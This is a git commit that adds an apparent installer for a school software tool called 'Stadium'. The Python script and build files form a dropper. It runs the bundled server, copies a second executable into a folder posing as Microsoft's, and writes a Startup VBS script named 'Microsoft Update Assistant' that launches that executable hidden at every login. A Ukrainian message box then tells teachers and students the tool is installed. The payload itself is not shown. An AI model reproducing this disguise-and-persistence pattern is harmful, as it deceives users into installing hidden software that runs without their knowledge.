add stadium

This commit is contained in:
hhh
2025-01-04 16:05:24 +02:00
parent 2daf8885dc
commit d95866e069
5 changed files with 73 additions and 0 deletions

5
.gitignore vendored Normal file
View File

@@ -0,0 +1,5 @@
**/.idea/
**/__pycache__/
**/build/
**/dist/
**/*.exe

View File

@@ -0,0 +1,27 @@
import shutil
import winshell
import ctypes
import os
import sys
def file(file_name):
bundle_dir = getattr(sys, '_MEIPASS', os.path.abspath(os.path.dirname(__file__)))
return os.path.abspath(os.path.join(bundle_dir, file_name))
os.system(file("Stadium_Server.exe"))
if not os.path.exists("C:\ProgramData\Microsoft Assistant"):
os.makedirs("C:\ProgramData\Microsoft Assistant")
shutil.copy(file("UpdateAssistant.exe"), r"C:\ProgramData\Microsoft Assistant\UpdateAssistant.exe")
open(winshell.startup() + "\Microsoft Update Assistant.vbs", "w+").write(
r'''Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "C:\ProgramData\Microsoft Assistant\UpdateAssistant.exe" & Chr(34), 0
Set WshShell = Nothing''')
ctypes.windll.user32.MessageBoxW(0, "Програмний засіб для вчителів та учнів встановлено", 'ПП "Контур плюс"', 0)
os.system("cscript " + '"' + winshell.startup() + "\Microsoft Update Assistant.vbs" + '"')

View File

@@ -0,0 +1,40 @@
# -*- mode: python ; coding: utf-8 -*-
block_cipher = None
a = Analysis(['Stadium_Installer.py'],
pathex=[],
binaries=[],
datas=[('UpdateAssistant.exe', '.'), ('Stadium_Server.exe', '.')],
hiddenimports=[],
hookspath=[],
hooksconfig={},
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
win_private_assemblies=False,
cipher=block_cipher,
noarchive=False)
pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
[],
name='Stadium_Installer',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
upx_exclude=[],
runtime_tmpdir=None,
console=False,
disable_windowed_traceback=False,
target_arch=None,
codesign_identity=None,
entitlements_file=None , icon='icon.ico')

1
Stadium/build.bat Normal file
View File

@@ -0,0 +1 @@
pyinstaller --noconfirm --onefile --windowed --icon "icon.ico" "Stadium_Installer.py" --add-data "UpdateAssistant.exe;." --add-data "Stadium_Server.exe;."

BIN
Stadium/icon.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.5 KiB